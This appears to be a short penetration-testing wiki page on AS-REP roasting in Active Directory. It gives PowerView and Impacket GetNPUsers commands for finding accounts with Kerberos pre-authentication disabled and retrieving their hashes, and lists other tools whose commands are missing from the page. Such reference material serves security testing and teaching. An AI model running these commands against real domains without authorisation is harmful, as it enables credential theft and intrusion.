ASREPRoasting
Occurs when a user account has the privilege "Does not require Pre-Authentication" set.
This means that the account does not need to provide valid identification before requesting a Kerberos Ticket on the specified user account.
Requirements:
Accounts with the attribute DONT_REQ_PREAUTH ( PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose )
Impacket-GetNPUsers.py domain.com\john.doe -no-pass (Retrieves a TGT)You can also do:
python3 Impacket-GetNPUsers.py -dc-ip DC_IP DOMAIN/USER -outputfile /tmp/list.txtEnumeration (Need domain credentials)
Windows
Get-DomainUser -PreauthNotRequired -verbose (Powerview)Linux
Method: Impacket GetNPUsers
Alternate Method: CrackMapExec
Alternate Method: ASREPRoast powershell module https://github.com/HarmJ0y/ASREPRoast
Alternate Method: Kerbrute
Alternate Method: Rubeus
Windows
Linux
Alternate Method: Empire
More tools:
Asreproasting
Command
Description
PreviousActive Directory Certificate Services Enumeration (ADCS)NextActiveDirectory Powershell Module
Last updated